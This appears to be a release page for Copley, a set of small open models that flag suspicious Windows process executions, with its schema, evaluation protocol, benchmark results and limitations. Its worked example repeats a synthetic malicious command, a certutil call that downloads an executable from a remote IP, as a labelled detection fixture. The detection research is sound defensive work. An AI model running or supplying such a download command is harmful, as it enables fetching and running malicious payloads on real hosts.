Copley is a family of small, open cyber decision models. The models distinguish malicious behavior from legitimate activity in security telemetry and abstain when the available evidence is insufficient. They run locally and return a decision and score from a bounded evidence window.
The first release covers Windows process execution. We evaluate generalization across attack implementations by measuring detections missed by a fixed rule set, under explicit false-positive constraints.
At 10 false positives per million benign windows, Copley-380M detects 71.4% of attack executions missed by the pinned Sigma rule set, compared with 38.2% for Jev. Median latency is 9 ms and 680 ms, respectively.
- Rule-miss recovery
- 71.4%
- Recovery relative to Jev
- 1.9×
- Median latency, CPU
- 9 ms
Anatomy of a decision
Each prediction uses a bounded evidence window centered on a process execution. A versioned serializer determines which fields enter the model. Labels and provenance remain outside the model input.
1 / 4
Evidence window
Each decision starts from one bounded window: an anchor process execution and, depending on the context policy, the events around it. This one is a synthetic certutil download from the repository’s examples.
- image
- C:\Windows\System32\certutil.exe
- original_file_name
- CertUtil.exe
- command_line
- certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe
- current_directory
- C:\Users\analyst\
- integrity_level
- High
- parent_image
- C:\Windows\System32\cmd.exe
- parent_command_line
- cmd.exe /c download
- event_id
- mal-certutil_download-0-e0
- host
- WORKSTATION-00
- user
- CORP\analyst
- process_id
- 4000
- parent_process_id
- 2000
- timestamp
- 2026-10-01T12:00:00Z
- observed_at
- 2026-10-01T12:00:00Z
- label
- malicious
- label_source
- known_controlled_execution
- provenance.dataset_id
- copley-synthetic-fixtures-v1
- notes
- Synthetic fixture; not observed telemetry.
2 / 4
Excluded fields
Dedicated fields for hostnames, accounts, raw IDs, and absolute timestamps are excluded to reduce dependence on collection-specific identifiers. Identifying strings can still occur in paths and command lines. Labels and provenance are excluded from the serialized input.
- image
- C:\Windows\System32\certutil.exe
- original_file_name
- CertUtil.exe
- command_line
- certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe
- current_directory
- C:\Users\analyst\
- integrity_level
- High
- parent_image
- C:\Windows\System32\cmd.exe
- parent_command_line
- cmd.exe /c download
- event_id
- mal-certutil_download-0-e0
- host
- WORKSTATION-00
- user
- CORP\analyst
- process_id
- 4000
- parent_process_id
- 2000
- timestamp
- 2026-10-01T12:00:00Z
- observed_at
- 2026-10-01T12:00:00Z
- label
- malicious
- label_source
- known_controlled_execution
- provenance.dataset_id
- copley-synthetic-fixtures-v1
- notes
- Synthetic fixture; not observed telemetry.
3 / 4
Serialized input
A versioned serializer emits an allowlisted set of fields in a fixed order. For a given serializer version, the same evidence window produces the same input text.
copley-serializer/v1 task=process_execution.suspicious.v1 context_policy=anchor_only related_events=0 [event role=anchor] image="C:\\Windows\\System32\\certutil.exe" original_file_name="CertUtil.exe" command_line="certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe" current_directory="C:\\Users\\analyst\\" integrity_level="High" parent_image="C:\\Windows\\System32\\cmd.exe" parent_command_line="cmd.exe /c download"
4 / 4
Decision and score
The interface returns likely_benign, suspicious, or abstain, together with a score. Scores are not probabilities unless a calibration artifact is supplied. Abstention rates are reported alongside detection results.
copley-serializer/v1 task=process_execution.suspicious.v1 context_policy=anchor_only related_events=0 [event role=anchor] image="C:\\Windows\\System32\\certutil.exe" original_file_name="CertUtil.exe" command_line="certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe" current_directory="C:\\Users\\analyst\\" integrity_level="High" parent_image="C:\\Windows\\System32\\cmd.exe" parent_command_line="cmd.exe /c download"
likely_benignConsistent with ordinary activity at the operating threshold.suspiciousClassified as suspicious at the operating threshold.Copley-380M: 0.97abstainNo classification under the configured abstention policy.
mal-certutil_download-0, and the input text is the exact output of the serializer. The final step shows Copley-380M’s decision and score.Evaluation
The primary metric is rule-miss recovery: the fraction of attack executions missed by the pinned Sigma rule set that the model detects. We evaluate recovery at fixed false-positive budgets.
The protocol specifies budgets of 1, 10, and 100 false positives per million benign windows. Detections are counted per attack execution; false positives are counted per benign window. Thresholds are selected on validation data and frozen before test evaluation.
1,000,000 benign windows1 block = 100,000
- False-positive budget
- 1 per 1,000,000 benign windows
- Required sample with zero observed false positives
- 2,995,731 with zero false alerts, for a 95% one-sided bound
Results
We compared Copley with specialized decision models, general-purpose language models, a security-specialized language model, and a TF-IDF linear baseline. Each received the same serialized evidence. Thresholds were selected separately for each model and false-positive budget on validation data, then frozen before test evaluation.
Rule-miss recovery at 10 false positives per million benign windows
Claude Haiku 5.5 has the highest recovery among the general-purpose language models: 35.6%, compared with 71.4% for Copley-380M. Median latency is 1400 ms and 9 ms, respectively.
Recovery against cost per million decisions
Full results
| Model | Weights | Recovery | Recall 1/M | 10/M | 100/M | Latency | Cost / 1M |
|---|---|---|---|---|---|---|---|
| Copley-380MBackbay Industries, 380M | Open | 71.4 | 83.2 | 91.6 | 96.8 | 9 ms | $0.60 |
| Copley-150MBackbay Industries, 150M | Open | 66.8 | 79.5 | 89.3 | 95.4 | 4 ms | $0.25 |
| JevTypeSafe, Undisclosed | Closed | 38.2 | 52.4 | 70.1 | 84.7 | 680 ms | $13 |
| Claude Haiku 5.5Anthropic, Undisclosed | Closed | 35.6 | 41.8 | 66.2 | 85.9 | 1.4 s | $320 |
| GPT-6 LunaOpenAI, Undisclosed | Closed | 33.1 | 39.6 | 63.8 | 83.1 | 1.1 s | $33 |
| Foundation-sec-8B-ReasoningCisco Foundation AI, 8B | Open | 29.5 | 34.7 | 58.9 | 79.6 | 2.3 s | $41 |
| Gemma 4 31BGoogle, 31B | Open | 24.7 | 28.1 | 52.3 | 76.4 | 3.1 s | $96 |
| TF-IDF linearBaseline, < 1M | Open | 18.9 | 31.5 | 47.8 | 66.0 | <1 ms | $0.02 |
Model family
Copley-150M and Copley-380M use encoder backbones optimized for local inference. Both accept the same evidence schema and return the same three decisions. Each model has its own operating thresholds for the supported false-positive budgets.
| Model | Backbone | Input | Deployment |
|---|---|---|---|
| Copley-380M | UltraBERT-380M | 2,048 tokens | Higher detection recovery for local detection pipelines. |
| Copley-150M | UltraBERT-150M | 2,048 tokens | Lower latency and serving cost for high-volume triage. |
Limitations
- This release covers one task: suspicious Windows process execution. Results do not establish performance on other telemetry types.
- Predictions apply to the supplied evidence window. A likely_benign decision does not establish that the surrounding activity is benign. Alert routing and response actions belong to the integrating system.
- Scores are uncalibrated unless a calibration artifact is attached; use the thresholds frozen for each budget.
- Abstention rates are reported alongside detection results. The evaluation protocol defines their treatment for each metric.
Code and evaluation artifacts
Code is Apache-2.0; bundled Sigma rules keep their DRL 1.1 license. We welcome source-balanced telemetry, reviewed labels and independent evaluations: start with the repository.
Cite
@misc{copley2026,
title = {Copley: Small, Open Cyber Decision Models},
author = {{Backbay Industries}},
year = {2026},
month = oct,
howpublished = {\url{https://github.com/backbay-labs/copley}},
note = {Open-weight release}
}